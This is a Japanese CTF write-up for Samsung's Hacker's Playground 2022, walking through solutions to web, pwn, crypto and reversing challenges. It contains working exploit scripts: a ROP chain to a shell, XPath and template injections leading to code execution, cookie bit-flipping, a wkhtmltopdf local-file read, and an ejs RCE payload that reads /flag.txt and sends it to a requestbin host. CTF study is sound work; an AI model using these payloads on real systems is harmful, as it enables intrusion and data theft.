Hacker's Playground (Samsung CTF) 2022 Writeup
Samsung Security Tech Forumというイベントで開催されたHacker's Playground 2022 (要するにSamsung CTF)に参加して13位という結果でした。解けた問題について解説していきます。サーバーがもう閉じられているので解説が曖昧です。
- Turorial
- [Web] Yet Another Injection [103 solves]
- [Rev/Misc] DocxArchive [101 solves]
- [pwn] pppr [91 solves]
- [Web/Misc] Imageium [95 solves]
- [Crypto/Web] CUSES [61 solves]
- [Misc/Web] 5th degree [55 solves]
- [Web] Online Education [33 solves]
- [Web] JWT Decoder [31 solves]
- [Rev/Web] Flag Digging [30 solves]
- [Web] OnlineNotePad [16 solves]
- [Rev] FSC [16 solves]
- [Misc] Flip Puzzle [15 solves]
- 後で復習したい問題
- 感想
Turorial
初心者向けにTutorial問題が用意されていました。内容はBOF,SQLi,XSS,RSA,RC4といったもので、問題の解法まで説明されている解説PDFが付いているので何もわからない状態の人でも解けるよう配慮されています。優しい。
Tutorial問題の解説は割愛します。
[Web] Yet Another Injection [103 solves]
PHP製のサイトで、ソースコードがWeb上で見れるようになっています。サーバーは閉じてるし手元に保存もしてないので、ソースコードを載せることができません。(インフラ、一週間くらい維持して欲しい) 多分後で公式リポジトリに上がってると思います。
要約するとpapers.xml
から論文をXPATHで検索して表示するサイトです。論文の詳細を取得する処理にquery = "//Papers[idx = '". $_GET["idx"] . "' and @published='yes']"
みたいなXPATH Injectionがあったので、' or @published!='yes'] | //Papers['1'='
みたいなクエリを投げるとフラグが得られました。
[Rev/Misc] DocxArchive [101 solves]
Wordの添付ファイルが壊れているので修復してくれという問題です。docxなのでとりあえずunzipすると、./word/embeddings/oleObject1.bin
というファイルが出てきました。
❯ file oleObject1.bin oleObject1.bin: Composite Document File V2 Document, Cannot read section info
oleファイルの解析はしたことなかったので調べると、oletoolsというツールがいいらしいと知ったのでダウンロードして使います。
❯ oleobj.py ./oleObject1.bin ... oleobj 0.60.1 - http://decalage.info/oletools THIS IS WORK IN PROGRESS - Check updates regularly! Please report any issue at https://github.com/decalage2/oletools/issues ------------------------------------------------------------------------------- File: './oleObject1.bin' extract file embedded in OLE object from stream '\x01Ole10Native': Parsing OLE Package Filename = "Open-Me.bin" Source path = "C:\Users\srsecuritylab\Open-Me.bin" Temp path = "C:\Users\srsecuritylab\AppData\Local\Temp\Open-Me.bin" saving to file ./oleObject1.bin_Open-Me.bin ❯ file oleObject1.bin_Open-Me.bin oleObject1.bin_Open-Me.bin: Windows Enhanced Metafile (EMF) image data version 0x10000
oleObject1.bin_Open-Me.bin
という画像ファイルが出てきました。拡張子を.emf
にして開くと、フラグが得られました。
[pwn] pppr [91 solves]
//decompiled source code, generated by IDA pro char buf_in_bss[128]; int __cdecl r(int a1, unsigned int a2, int a3) { int result; // eax char v4; // [esp+3h] [ebp-9h] unsigned int i; // [esp+4h] [ebp-8h] if ( a3 ) { puts("r() works only for stdin."); result = -1; } else { for ( i = 0; a2 > i; ++i ) { v4 = fgetc(stdin); if ( v4 == -1 || v4 == 10 ) break; *(_BYTE *)(a1 + i) = v4; } *(_BYTE *)(i + a1) = 0; result = i; } return result; } int __cdecl x(char *command) { return system(command); } int __cdecl main(int argc, const char **argv, const char **envp) { char v4[4]; // [esp+0h] [ebp-8h] BYREF setbuf(stdin, 0); setbuf(stdout, 0); alarm(0xAu); r(v4, 64, 0); return 0; }
❯ file pppr pppr: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c8800d35a108c24d3ae283f304c14ae36cca31e6, not stripped ❯ checksec pppr Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
x86 ROPです。久しぶりなのでやり方忘れてました……
x86はスタックに引数を積むので、適当に引数を置いておき、終わったらpop gadgetで綺麗にするとROP Chainができます。
pop4 = 0x080486a8 payload = b"111122223333" payload += p32(chall.sym["r"]) payload += p32(pop4) payload += p32(chall.sym["buf_in_bss"]) payload += p32(128) payload += p32(0) payload += p32(0) # dummy payload += p32(chall.plt["system"]) payload += p32(0xdeadbeef) # dummy ret payload += p32(chall.sym["buf_in_bss"]) io = connect() io.sendline(payload) io.sendline(b"/bin/sh\x00") io.interactive()
[Web/Misc] Imageium [95 solves]
ある画像を色々画像処理できるアプリです。うろ覚えですが、/dynamic/image?mode=R+G
みたいなAPIで画像が生成されていました。
?mode=hoge
と適当な値を入れてみると、ImageMath error name 'hoge' is not defined
のようなエラーが出力されます。ImageMath
というワードが出てきたので検索してみると、過去にRCEの脆弱性があったようですね。見るからにmode
がPythonコードとして実行されていそうです。
エラーが出力されているので、raise Exception()
で情報を出力すると良さそうです。以下のようなリクエストを送ってRCEし、サーバー内のファイルを探すとフラグがありました。
?mode=exec("import os;raise Exception(os.popen('ls -al'))")
[Crypto/Web] CUSES [61 solves]
これもソースコードがWeb上で見れるタイプの問題で手元にソースコードが無いです。
要約すると以下のようなサイトになります。
guest:guestpassword
でログインできるセッションがAES-128-CTRで暗号化されている。平文は
username|server_sercret
の形式で、base64(iv|AES(plaintext))
の形でCookieに保存される。admin|server_secret
のセッションでアクセスするとフラグが得られる
AES-CTRの復号の図を見ると、最後に暗号文でXORして平文を復元していることがわかります。暗号文の改ざんに対しては対策されていないので、Bit flipping attackが有効です。
guest|server_secret
の暗号文は手に入っているので、暗号文の冒頭五文字をguest
とadmin
でXORすることでadmin|server_secret
の暗号文が得られます。
from pwn import xor from base64 import b64decode, b64encode guest_cookie = "vE5/uHPfMFQWFaUA0SkzbnxHgfF4lPUOXqWEX3BjOyzdlMbQ5PQhE7eYwpojcdB7pIn8rJIT0KaS3GfDl4Mif4LuWiQtKPnPlLEfWC0ykqI1/X8H/GBcUQ==" iv, cipher = b64decode(guest_cookie).split(b"|") print(iv, cipher) cipher = list(cipher) for i in range(5): cipher[i] ^= b"admin"[i] ^ b"guest"[i] cipher = bytes(cipher) print(b64encode(iv+b"|"+cipher))
出力されたCookieをセットしてアクセスするとフラグが得られました。
[Misc/Web] 5th degree [55 solves]
単純明快、以下のような5次関数の最大値と最小値を1分以内に30問答えろという問題です。
もちろん人力では無理なのでスクレイピングしてSageMathで解きます。多項式関数の最大値/最小値は定義域の端か極値にしか存在しないので、微分して極値を求めて端と合わせてmax/minを取れば求まります。
ところでsolve
した後に出てくるx == 0
みたいなExpressionから値取り出すのってどうやればいいんですかね?ちょっと調べてもわからなかったので、ここではstrして取り出すゴリラ解決をしています。
import requests import re ses = requests.Session() def get_param(): html = ses.get("http://5thdegree.sstf.site/chal?").text # \[ y = 543x^5 - 866128440x^4 - 89119496336235x^3 + 470712733502781530055x^2 + 112974154760271184347141240x + 820071 \] coefs = re.search(r"\\\[ y = (-?\d+)x\^5 ([+-] \d+)x\^4 ([+-] \d+)x\^3 ([+-] \d+)x\^2 ([+-] \d+)x ([+-] \d+) \\\]", html).groups() coefs = [int(c.replace(" ", ""))for c in coefs] minlim, maxlim = map(int, re.search(r"\\\( (-?\d+) \\le x \\le (-?\d+) \\\)", html).groups()) return coefs, minlim, maxlim def submit(maximum, minimum): res = ses.post("http://5thdegree.sstf.site/chal", data={"min": minimum, "max": maximum}) print(res, res.text) for i in range(30): coefs, minlim, maxlim = get_param() print(coefs, minlim, maxlim) x = var("x") poly(x) = sum([coefs[i] * x^(5-i) for i in range(6)]) print(poly) diff_roots = [int(repr(c).split(" ")[-1]) for c in solve(diff(poly(x), x) == 0, x)] diff_roots = list(filter(lambda x: minlim <= x <= maxlim, diff_roots)) print(diff_roots, minlim, maxlim) candidates = list(map(int, map(poly, diff_roots + [minlim, maxlim]))) print(candidates) maximum = max(candidates) minimum = min(candidates) print(maximum, minimum) submit(maximum, minimum) print(ses.cookies)
値域外にある極値を弾くのを忘れて30分くらい溶かしてました。数学弱すぎる……
[Web] Online Education [33 solves]
講義の動画が見れるサイトです。ソースコードが配布されています(wowwow)
import os import io import re import time import string import hashlib from flask import Flask, render_template, request, session, redirect, flash, jsonify, send_file from functools import wraps from config import secret_key, admin_hash, course_data from cert import make_certificate app = Flask(__name__, static_url_path="/static") app.secret_key = secret_key app.config['SESSION_COOKIE_NAME'] = 'EduSession' def login_required(f): @wraps(f) def decorator(*args, **kwargs): if 'name' not in session: flash("Login Required") return redirect('/') return f(*args, **kwargs) return decorator def check_email(email): regex = '[A-Za-z0-9._+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}' if re.match(regex, email) == None: flash("Invalid Email") return False return True def check_name(name): charset = string.ascii_letters + ' ' for c in name: if c not in charset: flash("Invalid Name") return False return True @app.route('/') def index(): return render_template('index.html') @app.route('/signin', methods=['POST']) def signin(): try: name = request.form['name'] email = request.form['email'] if check_name(name) and check_email(email): session.clear() session['name'] = name session['email'] = email session['is_admin'] = hashlib.md5(name.encode()).hexdigest() == admin_hash session['idx'] = 0 return redirect('/main') except: pass return redirect('/') @app.route('/main') @login_required def main(): if session['idx'] >= len(course_data['vids']): flash('You finished the course! Get the certificate!') return render_template('main.html', data=course_data, idx=session['idx']) @app.route('/status', methods=['POST']) @login_required def status(): result = {} try: video = course_data['vids'][session['idx']] params = request.get_json() action = params['action'] if action == 'start': session['start'] = time.time() elif action == 'finish': rate = float(params['rate']) if rate > 1.5: result['msg'] = 'Why are you so fast?' else: passed_time = time.time() - session['start'] if (video['length'] / rate) < passed_time + 3: session.pop('start', None) session['idx'] += 1 result['msg'] = 'Good Job!' else: result['msg'] = 'Do not skip video!' except: result['msg'] = 'error' return jsonify(result) @app.route('/cert') @login_required def cert(): if session['idx'] < len(course_data['vids']): return 'No!' pdf = make_certificate(session['name'], session['email'], course_data['name'], course_data['author']) return send_file( io.BytesIO(pdf), mimetype='application/pdf') @app.route('/flag') @login_required def flag(): ### CTF stuff ### if session['is_admin']: flash(os.popen('cat flag*').read().strip()) else: flash("you are not an admin, {}".format(session['name'])) return redirect('/') if __name__ == '__main__': app.run(host='0.0.0.0', port=9999, debug=False)
/flag
にis_admin: True
なセッションでアクセスすればフラグが得られるようなので、最終目標はセッションの改ざんです。config.py
にsecret_key
が書いてあるようなので、config.py
が見れれば勝ちですね。
また、講義の動画を全て見た状態で/cert
にアクセスすると証書が発行されるようです。とりあえずはそれを目指しましょう。
当然講義の動画は全て見てられないのでどうにかスキップしたいところですが、動画の開始/終了は/status
で管理されているのでクライアント側で改ざんすることはできません。(FlaskのセッションはJWTに似た仕組みなので無理)
動画の再生スピードrate
はセッションで管理されておらずこちらから指定できるので何かありそうですね。しかしrate
も1.5より高くはできません。
session['start'] = time.time() elif action == 'finish': rate = float(params['rate']) if rate > 1.5: result['msg'] = 'Why are you so fast?' else: passed_time = time.time() - session['start'] if (video['length'] / rate) < passed_time + 3: session.pop('start', None) session['idx'] += 1 result['msg'] = 'Good Job!' else: result['msg'] = 'Do not skip video!'
ではrate
が負の値ならどうでしょうか?ちょうど終了判定の(video['length'] / rate) < passed_time + 3
を真にすることができるので、これで動画をスキップすることができます。
さて、動画を全部スキップしたら証書が発行できるようになりました。証書の発行はcert.py
で処理されています。
import time import pdfkit template = """ <html> <head> <style> ... </style> </head> <body> <div class="outer-border"> <div class="inner-dotted-border"> <span class="certification">Certificate of Completion</span> <br><br> <span class="certify"><i>This is to certify that</i></span> <br><br> <span class="name"><b>{}</b></span><br/> <span class="fs-20">({})</span><br/><br/> <span class="certify"><i>has successfully completed the course</i></span> <br/><br/> <span class="fs-30">{}</span> <br/> <span class="certify"><i>by</i></span> <br/> <span class="certify">{}</span> <br/><br/> <span class="certify"><i>dated</i></span><br> <span class="fs-30">{}</span> </div> </div> </body> </html> """ def make_certificate(name, email, course, author): date = time.strftime('%d, %b, %Y', time.localtime()) html = template.format(name, email, course, author, date) options = {'orientation': 'landscape', 'page-size': 'B6'} # Cool! HTML to PDF pdf = pdfkit.from_string(html, options=options) return pdf
証書のHTMLを作成した後にpdfkitというライブラリを使用してPDFに変換しているようです。とりあえず任意のHTMLを挿入できるようにしたいですが、name
とemail
にはバリデーションがあるので単純にはできません。よく見ると、email
のバリデーションにミスがあります。
def check_email(email): regex = '[A-Za-z0-9._+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}' if re.match(regex, email) == None: flash("Invalid Email") return False return True
正規表現の最後に$
を付け忘れています。これでは文字列の先頭しかチェックされないので、hoge@example.com<s>yay</s>
とすればbypassできます。
さて、HTMLをPDFに変換するときにローカルのファイルを読み込めそうな匂いがしますがiframeやリダイレクトを試しても効果がありませんでした。大人しく調べていくと、pdfkitはwkhtmltopdfというライブラリを使用していることがわかります。これについても調べると、exploitの記事が見つかります。
<iframe src=”file:///etc/passwd” height=”500” width=”500”>
なるほど、表示させるにはheightとwidthを指定する必要があったんですね (恐らく指定しなくてもPDFを解析すれば出てきそう)
これを使ってconfig.py
を表示させればよいです。まとめると、exploitは以下のようになります。
import requests ses = requests.Session() url = "http://onlineeducation.sstf.site" assert ses.post(url+"/signin", data={ "name": "hoge", "email": "fuga@example.com<iframe src='file:///home/app/config.py' height='500' width='500'/>" }).status_code == 200 print(ses.post(url+"/status", json={"action": "start"}).text) print(ses.post(url+"/status", json={"action": "finish", "rate": -1}).text) print(ses.post(url+"/status", json={"action": "start"}).text) print(ses.post(url+"/status", json={"action": "finish", "rate": -1}).text) print(ses.post(url+"/status", json={"action": "start"}).text) print(ses.post(url+"/status", json={"action": "finish", "rate": -1}).text) print(ses.cookies)
出力されたCookieをセットして/cert
にアクセスすると、secret_key
を表示させることができます。
手に入れたsecret_key
とflask-unsignを使ってセッションを"is_admin": True
に改ざんし、/flag
にアクセスするとフラグが得られました。
[Web] JWT Decoder [31 solves]
JWTをデコードしてくれるサイトです。
const express = require('express'); const cookieParser = require('cookie-parser'); const path = require('path'); const app = express(); const PORT = 3000; app.use(cookieParser()); app.set('views', path.join(__dirname, "view")); app.set('view engine', 'ejs'); app.get('/', (req, res) => { let rawJwt = req.cookies.jwt || {}; console.log(rawJwt) try { let jwtPart = rawJwt.split('.'); let jwtHeader = jwtPart[0]; jwtHeader = Buffer.from(jwtHeader, "base64").toString('utf8'); jwtHeader = JSON.parse(jwtHeader); jwtHeader = JSON.stringify(jwtHeader, null, 4); rawJwt = { header: jwtHeader } let jwtBody = jwtPart[1]; jwtBody = Buffer.from(jwtBody, "base64").toString('utf8'); jwtBody = JSON.parse(jwtBody); jwtBody = JSON.stringify(jwtBody, null, 4); rawJwt.body = jwtBody; let jwtSignature = jwtPart[2]; rawJwt.signature = jwtSignature; } catch(error) { if (typeof rawJwt === 'object') { rawJwt.error = error; } else { rawJwt = { error: error }; } } console.log(rawJwt) res.render('index', rawJwt); }); app.use(function(err, req, res, next) { console.error(err.stack); res.status(500).send('Something wrong!'); }); app.listen(PORT, (err) => { console.log(`Server is Running on Port ${PORT}`); });
シンプルなExpressアプリですね。JavaScriptのWeb問は初手npm audit
です。
❯ npm audit === npm audit security report === # Run npm update ejs --depth 1 to resolve 1 vulnerability ┌───────────────┬──────────────────────────────────────────────────────────────┐ │ Critical │ ejs template injection vulnerability │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Package │ ejs │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Dependency of │ ejs │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ Path │ ejs │ ├───────────────┼──────────────────────────────────────────────────────────────┤ │ More info │ https://github.com/advisories/GHSA-phwq-j96m-2c2q │ └───────────────┴──────────────────────────────────────────────────────────────┘ found 1 critical severity vulnerability in 67 scanned packages run `npm audit fix` to fix 1 of them.
ejsが脆弱性のあるバージョンになっているようです。見てみると、outputFunctionName
などのオプションが操作できるとRCEできるよという脆弱性のようです。
ejsに脆弱性があるということで、res.render('index', rawJwt)
が怪しく見えますね。とりあえずrawJwt
が操作できると嬉しそうなのでそれを考えてみます。
しかし、ソースコードを見てもrawJwt
を自由に操作できそうな処理はありません。ここで詰まりましたが、cookie-parser
ライブラリを調べてみると答えがありました。
In addition, this module supports special "JSON cookies". These are cookie where the value is prefixed with
j:
. When these values are encountered, the value will be exposed as the result ofJSON.parse
. If parsing fails, the original value will remain.
cookie-parser
では値がj:
から始まるCookieはJSONとして解釈されるらしいです。恐ろしい……
つまりreq.cookies.jwt
を任意のオブジェクトにすることができます。これはrawJwt
に代入されてrawJwt.split('.')
でエラーが起こりますがcatchされてそのまま進むので、結果的にrawJwt
を任意のオブジェクトにすることができました。
さて、rawJwt
を操作することはできましたがオプションを操作することはまだできていません。res.render('index', rawJwt)
はテンプレートに渡すパラメータを指定しているだけで、オプションを指定するのは第三引数です。
どうしようか困りましたが、どうしようもないので何か方法がないかejsのソースコードを見に行きます。
ここでかなり時間を取られましたが、renderFile
関数にオプションを操作できるパスを見つけました。
// Express 3 and 4 if (data.settings) { // Pull a few things from known locations if (data.settings.views) { opts.views = data.settings.views; } if (data.settings['view cache']) { opts.cache = true; } // Undocumented after Express 2, but still usable, esp. for // items that are unsafe to be passed along with data, like `root` viewOpts = data.settings['view options']; if (viewOpts) { utils.shallowCopy(opts, viewOpts); } } // Express 2 and lower, values set in app.locals, or people who just // want to pass options in their data. NOTE: These values will override // anything previously set in settings or settings['view options'] utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
data["settings"]["view options"]があるとき、それをオプションにコピーしてくれるようです。コメントにもある通り、ドキュメントには載っていません。(しかし、最初に見たGitHubのAdovisoryにそれらしき記述があることに今気が付きました……)
あとは以下のようなexploitでRCEができます。this.construtor.constructor
を使っているのは名前空間にimport
が無かったからです。(フラグがWebに表示されるように謎に時間かけて試行錯誤していて、結局諦めてrequestbinに流す形にしたので無駄に複雑になっています)
import requests requests.get("http://jwtdecoder.sstf.site/", headers={"Cookie": 'jwt=j:{"settings": {"view options": {"localsName": "locals = {body: this.constructor.constructor(`return (async ()=>(fs = await import(\'fs\'), http = await import(\'http\'), req = http.request(\'http://XXX.b.requestbin.net/?\'+fs.readFileSync(\'/flag.txt\')), req.end()))()`)()}"}}}'})
[Rev/Web] Flag Digging [30 solves]
画像のようなものが回転して描画されているサイトからWebGLの3Dモデルを盗めという問題です。
JavaScriptはJavaScript Obfuscatorで難読化されていて結構デカいので、動的解析をしていきます。
Networkタブを見てみると、data.bin
というファイルがダウンロードされていました。fetchを使ってないか検索すると出てくるので、そこを中心に見るとすんなり解けます。
const _0x124052 = await fetch(_0x86f237(0x55f, '\x43\x4a\x43\x24')), _0x159404 = await _0x124052[_0x86f237(0x490, '\x71\x4a\x6c\x78')](), _0x4d0c33 = _0x89a05f[_0x86f237(0x2da, '\x71\x4a\x6c\x78')][_0x86f237(0x210, '\x6c\x71\x34\x47')](_0x159404, _0x86f237(0x399, '\x4f\x66\x64\x72')), _0x3d27bf = JSON[_0x86f237(0x24b, '\x62\x29\x38\x76')](_0x4d0c33[_0x86f237(0x1d1, '\x73\x37\x78\x5e')](_0x89a05f[_0x86f237(0x3cd, '\x34\x47\x40\x54')][_0x86f237(0x27c, '\x53\x34\x45\x66')])); window[_0x86f237(0x4f9, '\x72\x23\x50\x31')] = _0x3d27bf;
_0x86f237(0x4f9, '\x72\x23\x50\x31')
みたいなやつは元をたどっていくと同じ関数であることがわかるので、Devtools上で元の関数を同じ引数で実行すれば文字列が出てきます。それを元に丁寧にrevしていくと、data.bin
をダウンロードして以下のような処理をしていることがわかります。
window.obj = JSON.parse(CryptoJS.AES.decrypt(data, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\v\f').toString(CryptoJS.Enc.Utf8))
Devtools上でも確認すると、obj
を見ることができました。
> window.obj {position: Array(83556), normal: Array(83556), color: {…}}
3Dモデルらしきものは手に入れましたが、自分はモデリングには詳しくないのでどういう形式なのか知らないのでフラグをどうやって見ればわかりません。こういうときは適当に値をいじって遊ぶのが吉です。以下のようなコードを挿入すると、フラグが見えるようになりました。
window.obj.position = window.obj.position.slice(0, Math.floor(window.obj.position.length/2))
SCTF{pay_m0n3y_t0_get_asset}
[Web] OnlineNotePad [16 solves]
import os import jinja2 import uvicorn from pydantic import BaseModel, Field, validator from fastapi import FastAPI, Request from fastapi.staticfiles import StaticFiles from fastapi.templating import Jinja2Templates app = FastAPI() userinfo_path = "userinfo" memo_path = "memo" app.mount("/static", StaticFiles(directory="static"), name="static") templates = Jinja2Templates(directory=["templates", userinfo_path, memo_path]) print(templates.env.filters) userinfo_raw = """{%% set userid = "%s" %%} {%% set password = "%s" %%}""" memofile_raw = """<html> <head> <title>Online Notepad</title> <link href="{{ url_for('static', path='/styles.css') }}" rel="stylesheet"> </head> <body> <div> {%% import userid+".j2" as user %%} {%% if userid == user.userid %%} {%% if password == user.password %%} <h1>Hello {{ userid }}</h1> <h1><pre>{%% raw %%}%s{%% endraw %%}</pre></h1> {%% else %%} <h1>Login Fail</h1> {%% endif %%} {%% else %%} <h1>Login Fail</h1> {%% endif %%} </div> </body> </html> """ class Memo(BaseModel): userid: str = Field(min_length=5, max_length=20) password: str = Field(min_length=5, max_length=20) memo: str = Field(min_length=1, max_length=64) @validator("userid") def val_userid(cls, v): if v == "admin": raise ValueError("access denied") if v.isalnum() != True: raise ValueError("userid cannot contain a special character") return v @validator("password") def val_password(cls, v): if ("\"" in v) or ("/" in v): raise ValueError("password cannot contain a special character") return v @validator("memo") def val_memo(cls, v): if ("{{" in v) or ("}}" in v): raise ValueError("memo cannot contain a special character") return v @app.post("/memo/") async def write_memo(request:Request, memo:Memo): global userinfo_path, memo_path global userinfo_raw, memofile_raw userinfo = userinfo_raw % (memo.userid, memo.password) open(os.path.join(userinfo_path, memo.userid+".j2"), "w").write(userinfo) memofile = memofile_raw % memo.memo open(os.path.join(memo_path, memo.userid+".html"), "w").write(memofile) return memo @app.get("/memo/{userid}/{password}") async def read_memo(request:Request, userid:str, password:str): global userinfo_path, memo_path try: if ( (userid.isalnum() == True) and os.path.exists( os.path.join(userinfo_path, userid+".j2") ) and os.path.exists( os.path.join(memo_path, userid+".html") ) ): return templates.TemplateResponse(userid+".html", {"request": request, "userid":userid, "password":password}) else: return templates.TemplateResponse("readfail.html", {"request": request}) except Exception as e: print(e) return("Exception") @app.get('/') async def index(request:Request): context = {"request":request} return templates.TemplateResponse('index.html', context) if __name__ == '__main__': uvicorn.run(app, host="localhost", port=35547, headers=[("Server", "FastAPI")], log_level="info")
/memo/
の処理で、memo
を使ってServer Side Template Injectionができます。
しかし、memo
は64文字以内で{{
と}}
なし、同じ名前空間にあるuserid
は20文字以内のalphanumeric、password
は20文字以内で"
と/
なしという制限があります。Imaginary CTFのssti golf
と似ていますね。st98さんのWriteupで見かけたlipsum.__globals__.os.popen
というペイロードが使えないでしょうか?
{%endraw%}{%set _=lipsum.__globals__.os.popen(password)%}{%raw%}
でちょうど64文字です。しかし、自分はこのとき何故か「popen
しても.read()
相当をしないとコマンドが実行されないよな」と考えてしまいました。実際は.read()
をしなくてもコマンドが実行されているのでこれでRCEができます。
lipsum
が駄目だと思ってしまったので結構悩みましたが、{% include %}
でペイロードを分割して組み立てる方針にしたところ解けました。以下がexploitです。
import requests ses = requests.Session() # url = "http://onlinenotepad.sstf.site" url = "http://onlinenotepad.sstf.site" print(ses.post(url+"/memo/", json={"userid": f"hogeX", "password": f"hogehoge", "memo": "hoge"}).text) user1 = "hoge1" passwd1 = "echo flag" memo = "{%endraw%}{%set l=lipsum%}{%include'hoge2.html'%}{%raw%}" print(len(memo)) print(ses.post(url+"/memo/", json={"userid": f"{user1}", "password": f"{passwd1}", "memo": memo}).text) user = "hoge2" passwd = "fugafuga" memo = "{%endraw%}{%set g=l.__globals__%}{%include'hoge3.html'%}{%raw%}" print(len(memo)) print(ses.post(url+"/memo/", json={"userid": f"{user}", "password": f"{passwd}", "memo": memo}).text) user = "hoge3" passwd = "fugafuga" memo = "{%endraw%}{%set s=g.os.system%}{%include'hoge4.html'%}{%raw%}" print(len(memo)) print(ses.post(url+"/memo/", json={"userid": f"{user}", "password": f"{passwd}", "memo": memo}).text) user = "hoge4" passwd = "fugafuga" memo = "{%endraw%}{%set _=s('cat flag > memo/hogeX.html')%}{%raw%}" print(len(memo)) print(ses.post(url+"/memo/", json={"userid": f"{user}", "password": f"{passwd}", "memo": memo}).text) print(ses.get(url+f"/memo/{user1}/{passwd1}").text) print(ses.get(url+f"/memo/hogeX/hogehoge").text) print(ses.post(url+"/memo/", json={"userid": f"hoge1", "password": f"fugafuga", "memo": "hoge"}).text) print(ses.post(url+"/memo/", json={"userid": f"hoge2", "password": f"fugafuga", "memo": "hoge"}).text) print(ses.post(url+"/memo/", json={"userid": f"hoge3", "password": f"fugafuga", "memo": "hoge"}).text) print(ses.post(url+"/memo/", json={"userid": f"hoge4", "password": f"fugafuga", "memo": "hoge"}).text) print(ses.post(url+"/memo/", json={"userid": f"hogeX", "password": f"fugafuga", "memo": "hoge"}).text)
[Rev] FSC [16 solves]
#include <stdio.h> #define F(X) "%"#X"$s" #define O(X) "%"#X"$hhn" #define R(V,X) "%2$"#V"d"O(X) #define M(X) "%2$.*"#X"$d" #define A(X) X X #define T(X) A(X)A(X) #define S(X) T(X)T(X) #define TR(X) S(X)S(X) #define I(X) TR(TR(X)) #define N I(O(5)F(5)) #define G "\033[2J\n%7$s\n"; unsigned char f[1337]={0,}; char *have = A(M(12))R(48,13)A(M(14))R(66,15)M(16)R(150,17)A(M(18))R( 36,19)A(M(20))R(46,21)M(22)R(131,23)A(M(24))R(32,25)M(26) R(161,27)A(M(28))R(66,29)A(M(30))R(26,31)A(M(32)) R(34,33 )M(34)R(140,35)M(36)R(223,37)A(M(38))R(28,39)A( M(40))R( 88,41)A(M(42))R(90,43)A(M(44))R(10,45)M(46)R( 155,47)M(48 )R(159,49)A(M(50))R(116,51)M(52)R(141,53)M(54)R(151,55)A( M(56))R(22,57)M(58)R(140,59)A(M(60))R(122,61)M(62)R(154, 63)M(64)R(153,65)A(M(66))R(22,67)M(68)R(146,69)A(M(70))R (66,71)N F(17)F(55)F(27)F(71)F(39)F(67)F(25)F(15)F(35)F( 43)F(23)F(29)F(33)F(49)F(53)F(65)F(31)F(45)F(47)F(37)F(57 )F(19)F(63)F(41)F(69)F(13)F(51)F(59)F(61)F(21)O(3)N TR(F( 3)) R(71,7) N A(F(3))F(3) R(79,8) N R(79,9) N A(F(3)) S( F(3)) R(68,10) N A(TR(F(3)))T(F(3))A(F(3)) R(33,11) N G #define fun "SCTF{",01,f+38,f+34,f+32,f+36,f+40,f+41,f+42,f+43,f+44,\ f[27],f+100,f[18],f+82,f[5],f+56,f[15],f+76,f[14],f+74,f\ [29],f+104,f[12],f+70,f[11],f+68,f[21],f+88,f[7],f+60,f[\ 24],f+94,f[8],f+62,f[28],f+102,f[13],f+72,f[2],f+50,f[0]\ ,f+46,f[4],f+54,f[22],f+90,f[10],f+66,f[3],f+52,f[20],f+\ 86,f[19],f+84,f[6],f+58,f[16],f+78,f[1],f+48,f[17],f+80,\ f[26],f+98,f[25],f+96,f[23],f+92,f[9],f+64,f[99],1337,"}" int main(){ printf("flag : "); scanf ("%30s", f); printf(have, fun); }
書式文字列を使ってプログラムを実装しています。Google CTFのやつみたいに独自書式も取り入れてないしコード量も少ないので解けそうということで挑戦しました。
丁寧にrevすると次のようになります。N
だけ何をやっているのかよくわからなかったんですが、多分%hhn
のバッファのクリアをしています。
#define PRINT_STRING(X) "%"#X"$s" #define WRITE_BYTE(X) "%"#X"$hhn" #define W(V,X) "%2$"#V"d"WRITE_BYTE(X) #define READ(X) "%2$.*"#X"$d" #define M2(X) X X #define M4(X) M2(X)M2(X) #define M8(X) M4(X)M4(X) #define M16(X) M8(X)M8(X) #define M256(X) M16(M16(X)) #define N M256(WRITE_BYTE(5)PRINT_STRING(5)) #define G "\033[2J\n%7$s\n"; // 入力した文字を何かに変換 M2(READ(12)) W(48,13) M2(READ(14)) W(66,15) ... READ(68) W(146,69) M2(READ(70)) W(66,71) N // 変換した文字をそれぞれ出力 PRINT_STRING(17) PRINT_STRING(55) ... PRINT_STRING(61) PRINT_STRING(21) WRITE_BYTE(3) N // W M16(PRINT_STRING(3)) W(71,7) N // R M2(PRINT_STRING(3)) PRINT_STRING(3) W(79,8) N // O W(79,9) N // N M2(PRINT_STRING(3)) M8(PRINT_STRING(3)) W(68,10) N // G M2(M16(PRINT_STRING(3))) M4(PRINT_STRING(3)) M2(PRINT_STRING(3)) W(33,11) N // WRONGを出力 G
変換した文字が全て\x00
になっていればWRONG
が表示されることは無さそうです。つまり、変換後が256になるような文字をそれぞれ見つければよいです。
